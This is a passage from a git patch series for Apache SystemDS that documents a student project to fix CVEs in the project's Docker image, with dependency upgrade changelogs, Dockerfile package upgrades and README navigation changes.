- -- **`[MINOR][SYSTEMDS-3878]`** Fix Guava CVEs - - hadoop-shaded-guava → 1.5.0 - - guava → 33.5.0-jre (CVE-2023-2976, CVE-2020-8908) - - Author: @qschnee - -### Jan 22, 2026 -- **`[MINOR][SYSTEMDS-3878]`** Fix Netty codec CVEs - - netty-codec-http, netty-codec-smtp, netty-codec → 4.1.129.Final - - CVE-2025-67735, CVE-2025-58056, CVE-2025-58057, CVE-2025-59419 - - Author: @qschnee - -- **`[MINOR][SYSTEMDS-3878]`** Fix log4j-core CVE - - log4j-core → 2.25.3 (CVE-2025-68161) - - Author: @qschnee - -### Jan 23, 2026 -- **`[MINOR][SYSTEMDS-3878]`** Fix commons-lang3 and spark-network-common CVEs - - commons-lang3 → 3.18.0 (CVE-2025-48924) - - spark-network-common_2.12 → 3.5.2 (CVE-2025-55039) - - Author: @qschnee - -- **`[MINOR][SYSTEMDS-3878]`** Fix hadoop-common CVE - - hadoop-common → 3.4.2 (CVE-2024-23454: Improper Privilege Management) - - Author: @qschnee - -- **`[MINOR][SYSTEMDS-3878]`** Fix critical io.netty/netty CVE - - hadoop-hdfs → 3.4.2 (removes io.netty/netty@3.10.6.Final) - - CVE-2019-20444 (Critical 9.1): HTTP Request Smuggling - - Import changes: `org.jboss.netty.*` → `io.netty.*` - - Author: @qschnee - -### Jan 25, 2026 -- busybox → 1.36.1-r31 (CVE-2024-58251, CVE-2025-46394) -- openssl → 3.3.5-r0 (CVE-2025-9230, CVE-2025-9231, CVE-2025-9232) - -### Jan 28, 2026 -- **Merge PR #7**: Fix Alpine APK CVEs in Docker image - - Author: @qschnee - -### Jan 29, 2026 -- Created `UNFIXED_VULNERABILITIES.md` documenting 16 remaining CVEs - -- **`[MINOR][SYSTEMDS-3878]`** pom.xml cleanup - - Removed empty lines, fixed formatting and indenting - - Author: @qschnee From 1ef2929fd4f6743e0efdebfbd6d8d1a692e4b532 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 30 Jan 2026 11:01:38 +0100 Subject: [PATCH 27/31] [DOC][SYSTEMDS-3878] add table of content for easy navigation, cleaned changelog --- docker/SYSTEMDS-3878/README.md | 25 +++- .../summary-of-changes/README.md | 120 +++++++++++++++++- 2 files changed, 137 insertions(+), 8 deletions(-) diff --git a/docker/SYSTEMDS-3878/README.md b/docker/SYSTEMDS-3878/README.md index 06e7ab6cd27..10912977750 100644 --- a/docker/SYSTEMDS-3878/README.md +++ b/docker/SYSTEMDS-3878/README.md @@ -28,7 +28,27 @@ The goal of SYSTEMDS-3878 as presented in [jira](https://issues.apache.org/jira/ >This task is to improve the security of the Docker images we provide. Currently we get an 'F' evaluation on DockerHub, and we would like instead to provide secure images. https://hub.docker.com/repository/docker/apache/systemds/general - +**Table of contents** + +- [Data Integration and Large-Scale Analysis](#data-integration-and-large-scale-analysis) + - [Overview](#overview) + - [Working on apache/systemds](#working-on-apachesystemds) + - [Create a fork](#create-a-fork) + - [Commiting](#commiting) + - [Docker scout cves](#docker-scout-cves) + - [Usage](#usage) + - [Command details](#command-details) + - [Solve vulnerabilities](#solve-vulnerabilities) + - [Inspection commands to find tricky packages](#inspection-commands-to-find-tricky-packages) + - [`docker scout` helloworld example](#docker-scout-helloworld-example) + - [Student Project SYSTEMDS-3878](#student-project-systemds-3878) + - [Results](#results) + - [Summary of Changes](#summary-of-changes) + - [Testing](#testing) + - [Appendix](#appendix) + - [`docker scout` helloworld output](#docker-scout-helloworld-output) + - [Output of `mvn dependency:tree` before any change](#output-of-mvn-dependencytree-before-any-change) + ## Working on apache/systemds @@ -397,7 +417,8 @@ Running `mvn clean verify` after our changes returns the same output. ### Output of `mvn dependency:tree` before any change -[Return](#upgrading-the-related-package) to solving vulnerabilities +[Return](#upgrading-the-related-package) to solving vulnerabilities. \ +[Return](./summary-of-changes/README.md#detailed-example-orgapachezookeeperzookeeper) to zookeeper example.
diff --git a/docker/SYSTEMDS-3878/summary-of-changes/README.md b/docker/SYSTEMDS-3878/summary-of-changes/README.md index 832e6c110a4..063589c97ac 100644 --- a/docker/SYSTEMDS-3878/summary-of-changes/README.md +++ b/docker/SYSTEMDS-3878/summary-of-changes/README.md @@ -26,15 +26,123 @@ >This task is to improve the security of the Docker images we provide. Currently we get an 'F' evaluation on DockerHub, and we would like instead to provide secure images. -## `docker scout cves` identified vulnerabilities +In the [appendix](#detailed-example-orgapachezookeeperzookeeper), you can see a full example on how we analysed the identified vulnerabilities. + +- [Data Integration and Large-Scale Analysis](#data-integration-and-large-scale-analysis) + - [Changes outside `pom.xml`](#changes-outside-pomxml) + - [Critical CVEs `io.netty/netty@3.10.6.Final`](#critical-cves-ionettynetty3106final) + - [`sysds.Dockerfile`](#sysdsdockerfile) + - [Changelog](#changelog) + - [Appendix](#appendix) + - [Detailed example: `org.apache.zookeeper/zookeeper`](#detailed-example-orgapachezookeeperzookeeper) + +## Changes outside `pom.xml` + +### Critical CVEs `io.netty/netty@3.10.6.Final` + +This is a transitive dependency from `hadoop-hdfs 3.3.6`. Version `3.4.2` does not use the `netty` dependency anymore. The update has been made in the `pom.xml` property: \ +`3.4.2` + +The only change necessary in the code is in the import of the netty package. What was +```java +import org.jboss.netty.handler.codec.compression.CompressionException; +``` +became +```java +import io.netty.handler.codec.compression.CompressionException; +``` + +#### Usage + +At the time of writing, the only usage of this import is in [systemds/src/main/java/org/apache/sysds/runtime/compress/colgroup/ColGroupDDC.java](systemds/src/main/java/org/apache/sysds/runtime/compress/colgroup/ColGroupDDC.java): +```java +// import org.jboss.netty.handler.codec.compression.CompressionException; +import io.netty.handler.codec.compression.CompressionException; +// CVE-2019-20444: org.jboss.netty replaced by io.netty in hadoop-hdfs 3.4.2 +``` + +### `sysds.Dockerfile` + + +## Changelog + +#### Dec 4, 2025 +- Create documentation to log work and document changes + +#### Jan 6, 2026 +- `org.apache.zookeeper/zookeeper@3.6.3` -> 3.8.3 (CVE-2023-44981) +- Modified `sysds.Dockerfile` to build locally from filesystem instead of pulling latest (which doesn't contain the changes yet) + +#### Jan 11, 2026 +- kerby → 2.0.3 (CVE-2023-25613) +- avro → 1.11.4 (CVE-2024-47561) + +#### Jan 14, 2026 +- `org.apache.zookeeper/zookeeper@3.8.3` -> 3.9.4 (CVE-2024-23944) +- explicit `io.nety/netty-handler@4.1.118.Final` (CVE-2023-3678, CVE-2025-11226, CVE-2024-12798, CVE-2024-12801) + +#### Jan 15, 2026 +- json-smart → 2.4.9 (CVE-2023-1370) +- jettison → 1.5.4 (CVE-2023-1436) +- snappy-java → 1.1.10.4 (CVE-2023-43642) +- nimbus-jose-jwt → 9.37.4 (CVE-2023-52428) +- logback → 1.2.13 (CVE-2023-6378) +- aircompressor → 0.27 (CVE-2024-36114) +- commons-io → 2.14.0 (CVE-2024-47554) +- protobuf-java → 3.25.5 (CVE-2024-7254) +- jackson-core → 2.15.0 (CVE-2025-52999) + +#### Jan 16, 2026 +- netty → 4.1.124.Final (CVE-2023-44487, CVE-2025-55163) +- xnio-api → 3.8.14.Final (CVE-2023-5685) +- dnsjava → 3.6.0 (CVE-2024-25638) +- jetty → 9.4.57.v20241219 (CVE-2024-6763) +- commons-beanutils → 1.11.0 (CVE-2025-48734) + +#### Jan 21, 2026 +- `org.eclipse.jetty/jetty-http@9.4.57.v20241219` -> 12.0.12 (CVE-2024-6763) +- explicit `org.apache.commons/commons-compress@1.26.0` (CVE-2024-26308, CVE-2024-25710, CVE-2023-42503) +- explicit `org.apache.commons/commons-configuration2@2.10.1` (CVE-2024-29133, CVE-2024-29131) +- explicit `org.apache.hadoop.thirdparty/hadoop-shaded-guava@1.5.0` +- explicit `com.google.guava/guava@33.5.0-jre` + + --> (CVE-2023-2976, CVE-2020-8908) + +#### Jan 22, 2026 +- `io.netty/netty-codec-http@4.1.124.Final` -> 4.1.129.Final +- `io.netty/netty-codec-smtp@4.1.124.Final` -> 4.1.129.Final +- `io.netty/netty-codec@4.1.124.Final` -> 4.1.129.Final + +--> (CVE-2025-67735, CVE-2025-58056, CVE-2025-58057, CVE-2025-59419) +- `org.apache.logging.log4j/log4j-core@2.22.1` -> 2.25.3 (CVE-2025-68161) + +#### Jan 23, 2026 +- explicit `org.apache.commons/commons-lang3@3.18.0` (CVE-2025-48924) +- explicit `org.apache.spark/spark-network-common_2.12@3.5.2` (CVE-2025-55039) +- `org.apache.hadoop/hadoop-common@3.3.6` -> 3.4.2 (CVE-2024-23454) \ + Version 3.4.0 is enough for CVE-2024-23454, but generates two other CVEs which are solved with upgraded version 3.4.2 +- `org.apache.hadoop/hadoop-hdfs@3.3.6` -> 3.4.2 (CVE-2019-20444) \ + Import changes: `org.jboss.netty.*` → `io.netty.*` + +#### Jan 25, 2026 +- busybox → 1.36.1-r31 (CVE-2024-58251, CVE-2025-46394) +- openssl → 3.3.5-r0 (CVE-2025-9230, CVE-2025-9231, CVE-2025-9232) + + +#### Jan 29, 2026 +- Created `UNFIXED_VULNERABILITIES.md` documenting 16 remaining CVEs + +## Appendix -### org.apache.zookeeper/zookeeper +### Detailed example: `org.apache.zookeeper/zookeeper` -- CVE-2023-44981 Authorization Bypass Through User-Controlled Key - - Identify the correct package +Here is the detail of how to detect and solve vulnerabilities once identified by zookeeper. - Scout recommends upgrading the package to `3.7.2`, `3.8.3`, or `3.9.1`. \ - [Releases](https://zookeeper.apache.org/releases.html): `3.7.2` already reached its EoL. +CVE-2023-44981 Authorization Bypass Through User-Controlled Key +- Analyse the vulnerable package + + The current version is `3.6.3`. Scout recommends upgrading the package to `3.7.2`, `3.8.3`, or `3.9.1`. \ + [Releases](https://zookeeper.apache.org/releases.html): `3.7.2` already reached its EoL. Apache zookeeper is not directly imported in the project. The vulnerability is raised transitively by another dependecy. \ `mvn dependency:tree` shows all implicit dependencies (see the [appendix](../README.md#output-of-mvn-dependencytree-before-any-change) for the output). \ From 37a6aadac2ff28941e82dce4fcf1a18f6950a42b Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 30 Jan 2026 11:04:24 +0100 Subject: [PATCH 28/31] [DOC][SYSTEMDS-3878] documented changes to sysds.Dockerfile --- docker/SYSTEMDS-3878/summary-of-changes/README.md | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/docker/SYSTEMDS-3878/summary-of-changes/README.md b/docker/SYSTEMDS-3878/summary-of-changes/README.md index 063589c97ac..282c84a7b85 100644 --- a/docker/SYSTEMDS-3878/summary-of-changes/README.md +++ b/docker/SYSTEMDS-3878/summary-of-changes/README.md @@ -62,7 +62,16 @@ import io.netty.handler.codec.compression.CompressionException; ``` ### `sysds.Dockerfile` - + +```Dockerfile +RUN apk add --no-cache bash \ + snappy \ + lz4 \ + zlib \ + # added apks update to solve openssl and busybox CVEs + && apk update \ + && apk upgrade openssl busybox busybox-binsh ssl_client libcrypto3 libssl3 +``` ## Changelog From bf938eeba16fe665b71ffd837c5a4a73d046aba4 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 30 Jan 2026 11:29:00 +0100 Subject: [PATCH 29/31] [DOC][SYSTEMDS-3878] documented changes to the pom.xml Created a github compare link between the oldest and newest commits. --- docker/SYSTEMDS-3878/summary-of-changes/README.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/docker/SYSTEMDS-3878/summary-of-changes/README.md b/docker/SYSTEMDS-3878/summary-of-changes/README.md index 282c84a7b85..805fc33f69d 100644 --- a/docker/SYSTEMDS-3878/summary-of-changes/README.md +++ b/docker/SYSTEMDS-3878/summary-of-changes/README.md @@ -29,14 +29,21 @@ In the [appendix](#detailed-example-orgapachezookeeperzookeeper), you can see a full example on how we analysed the identified vulnerabilities. - [Data Integration and Large-Scale Analysis](#data-integration-and-large-scale-analysis) - - [Changes outside `pom.xml`](#changes-outside-pomxml) + - [Changes](#changes) + - [`pom.xml`](#pomxml) - [Critical CVEs `io.netty/netty@3.10.6.Final`](#critical-cves-ionettynetty3106final) - [`sysds.Dockerfile`](#sysdsdockerfile) - [Changelog](#changelog) - [Appendix](#appendix) - [Detailed example: `org.apache.zookeeper/zookeeper`](#detailed-example-orgapachezookeeperzookeeper) -## Changes outside `pom.xml` +## Changes + +### `pom.xml` + +By calling this url, you can view the changes on the pom.xml between the start and the end of the SYSDS-3878 student project: \ +[https://github.com/qschnee/systemds/compare/05b2298..3d563ff#diff-pom.xml](https://github.com/qschnee/systemds/compare/05b2298..3d563ff#diff-9c5fb3d1b7e3b0f54bc5c4182965c4fe1f9023d449017cece3005d3f90e8e4d8) \ +This url compares the two commits and scrolls the webpage directly to the `pom.xml` changes. Note that the real link does not use the filename, but a hash. ### Critical CVEs `io.netty/netty@3.10.6.Final` From f26cda099a9c1e5f941511a48d650e34050c5f49 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 30 Jan 2026 11:41:26 +0100 Subject: [PATCH 30/31] [DOC][SYSTEMDS-3878] moved documentation files and fixed the relative links for navigation --- docker/SYSTEMDS-3878/README.md | 8 ++++---- .../{scan-after-fixes/README.md => scan-after-fixes.md} | 2 ++ .../{scan-before-fixes/README.md => scan-before-fixes.md} | 2 ++ .../README.md => summary-of-changes.md} | 4 ++-- .../README.md => unfixed-vulnerabilities.md} | 2 ++ 5 files changed, 12 insertions(+), 6 deletions(-) rename docker/SYSTEMDS-3878/{scan-after-fixes/README.md => scan-after-fixes.md} (99%) rename docker/SYSTEMDS-3878/{scan-before-fixes/README.md => scan-before-fixes.md} (99%) rename docker/SYSTEMDS-3878/{summary-of-changes/README.md => summary-of-changes.md} (98%) rename docker/SYSTEMDS-3878/{unfixed-vulnerabilities/README.md => unfixed-vulnerabilities.md} (99%) diff --git a/docker/SYSTEMDS-3878/README.md b/docker/SYSTEMDS-3878/README.md index 10912977750..c003110f9b9 100644 --- a/docker/SYSTEMDS-3878/README.md +++ b/docker/SYSTEMDS-3878/README.md @@ -270,14 +270,14 @@ We managed to solve a lot of CVEs: | TO: | critical: 0 | high: 6 | medium: 8 | low: 1 | unspecified: 1 | The `scout` reports can be viewed in details: -- [scan-before-fixes](./scan-before-fixes/README.md) -- [scan-after-fixes](./scan-after-fixes/README.md) +- [scan-before-fixes](scan-before-fixes.md) +- [scan-after-fixes](scan-after-fixes.md) -[unfixed-vulnerabilities/README.md](./unfixed-vulnerabilities/README.md) has been written to explain the last vulnerabilities that hove not been fixed and why. +[unfixed-vulnerabilities](unfixed-vulnerabilities.md) has been written to explain the last vulnerabilities that hove not been fixed and why. ### Summary of Changes -The changes made during the project have been documented in the [summary-of-changes/README.md](./summary-of-changes/README.md). A detailed example on how we solved vulnerabilities is also described. +The changes made during the project have been documented in [summary-of-changes](summary-of-changes.md). A detailed example on how we solved vulnerabilities is also described. ### Testing Running `mvn clean verify` after our changes returns the same output. diff --git a/docker/SYSTEMDS-3878/scan-after-fixes/README.md b/docker/SYSTEMDS-3878/scan-after-fixes.md similarity index 99% rename from docker/SYSTEMDS-3878/scan-after-fixes/README.md rename to docker/SYSTEMDS-3878/scan-after-fixes.md index cef9fa66cfe..e1c13bfe133 100644 --- a/docker/SYSTEMDS-3878/scan-after-fixes/README.md +++ b/docker/SYSTEMDS-3878/scan-after-fixes.md @@ -19,6 +19,8 @@ # --> +[Return](README.md#student-project-systemds-3878) to SYSTEMDS-3878. + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli ✓ Image stored for indexing ✓ Indexed 343 packages diff --git a/docker/SYSTEMDS-3878/scan-before-fixes/README.md b/docker/SYSTEMDS-3878/scan-before-fixes.md similarity index 99% rename from docker/SYSTEMDS-3878/scan-before-fixes/README.md rename to docker/SYSTEMDS-3878/scan-before-fixes.md index b3a278d0e90..4429e0b68ff 100644 --- a/docker/SYSTEMDS-3878/scan-before-fixes/README.md +++ b/docker/SYSTEMDS-3878/scan-before-fixes.md @@ -19,6 +19,8 @@ # --> +[Return](README.md#student-project-systemds-3878) to SYSTEMDS-3878. +

:mag: Vulnerabilities of apache/systemds:latest

:package: Image Reference apache/systemds:latest diff --git a/docker/SYSTEMDS-3878/summary-of-changes/README.md b/docker/SYSTEMDS-3878/summary-of-changes.md similarity index 98% rename from docker/SYSTEMDS-3878/summary-of-changes/README.md rename to docker/SYSTEMDS-3878/summary-of-changes.md index 805fc33f69d..3b7b1eb27b8 100644 --- a/docker/SYSTEMDS-3878/summary-of-changes/README.md +++ b/docker/SYSTEMDS-3878/summary-of-changes.md @@ -21,7 +21,7 @@ # Data Integration and Large-Scale Analysis -***Student Project SYSTEMDS-3878*** \ +[Return](README.md#student-project-systemds-3878) to SYSTEMDS-3878. \ ***Improve Docker Security*** >This task is to improve the security of the Docker images we provide. Currently we get an 'F' evaluation on DockerHub, and we would like instead to provide secure images. @@ -161,7 +161,7 @@ CVE-2023-44981 Authorization Bypass Through User-Controlled Key [Releases](https://zookeeper.apache.org/releases.html): `3.7.2` already reached its EoL. Apache zookeeper is not directly imported in the project. The vulnerability is raised transitively by another dependecy. \ - `mvn dependency:tree` shows all implicit dependencies (see the [appendix](../README.md#output-of-mvn-dependencytree-before-any-change) for the output). \ + `mvn dependency:tree` shows all implicit dependencies (see the [appendix](README.md#output-of-mvn-dependencytree-before-any-change) for the output). \ The responsible dependency seems to be the apache spark-core package. ```bash diff --git a/docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md b/docker/SYSTEMDS-3878/unfixed-vulnerabilities.md similarity index 99% rename from docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md rename to docker/SYSTEMDS-3878/unfixed-vulnerabilities.md index 4349d240d96..fd5c3784952 100644 --- a/docker/SYSTEMDS-3878/unfixed-vulnerabilities/README.md +++ b/docker/SYSTEMDS-3878/unfixed-vulnerabilities.md @@ -19,6 +19,8 @@ # --> +[Return](README.md#student-project-systemds-3878) to SYSTEMDS-3878. + # Unfixed Vulnerabilities Report This document explains the remaining vulnerabilities in the `apache/systemds:latest` Docker image that cannot be resolved at this time due to upstream dependencies. From abb46526a3d0885be8edb783a6a6dc7ab464de70 Mon Sep 17 00:00:00 2001 From: Quentin SCHNEIDER Date: Fri, 30 Jan 2026 12:14:47 +0100 Subject: [PATCH 31/31] [MINOR][SYSTEMDS-3878] reverted Dockerfile pull from github latest to build container. fixed number of vulnerabilities left. --- docker/SYSTEMDS-3878/README.md | 2 +- docker/sysds.Dockerfile | 13 +++---------- 2 files changed, 4 insertions(+), 11 deletions(-) diff --git a/docker/SYSTEMDS-3878/README.md b/docker/SYSTEMDS-3878/README.md index c003110f9b9..bccd9a1e926 100644 --- a/docker/SYSTEMDS-3878/README.md +++ b/docker/SYSTEMDS-3878/README.md @@ -267,7 +267,7 @@ We managed to solve a lot of CVEs: | FROM: | critical: 4 | high: 29 | medium: 36 | low: 9 | unspecified: 1 | | :---- | :------------------------------------------------------------------------------- | :---------------------------------------------------------------------- | :-------------------------------------------------------------------------- | :------------------------------------------------------------------ | :------------------------------------------------------------------------------------- | -| TO: | critical: 0 | high: 6 | medium: 8 | low: 1 | unspecified: 1 | +| TO: | critical: 0 | high: 6 | medium: 8 | low: 1 | unspecified: 1 | The `scout` reports can be viewed in details: - [scan-before-fixes](scan-before-fixes.md) diff --git a/docker/sysds.Dockerfile b/docker/sysds.Dockerfile index 7535f326d3a..d711bc841a8 100644 --- a/docker/sysds.Dockerfile +++ b/docker/sysds.Dockerfile @@ -51,16 +51,9 @@ RUN mkdir -p /usr/lib/jvm \ && mv apache-maven-$MAVEN_VERSION /usr/lib/mvn # Build the system -# RUN git clone --depth 1 https://github.com/apache/systemds.git systemds && \ -# cd /usr/src/systemds/ && \ -# mvn --no-transfer-progress clean package -P distribution - - -# Copy the local SystemDS source into the image -COPY . /usr/src/systemds -# Build SystemDS -RUN cd /usr/src/systemds && \ - mvn --no-transfer-progress clean package -P distribution +RUN git clone --depth 1 https://github.com/apache/systemds.git systemds && \ + cd /usr/src/systemds/ && \ + mvn --no-transfer-progress clean package -P distribution COPY docker/mountFolder/main.dml /input/main.dml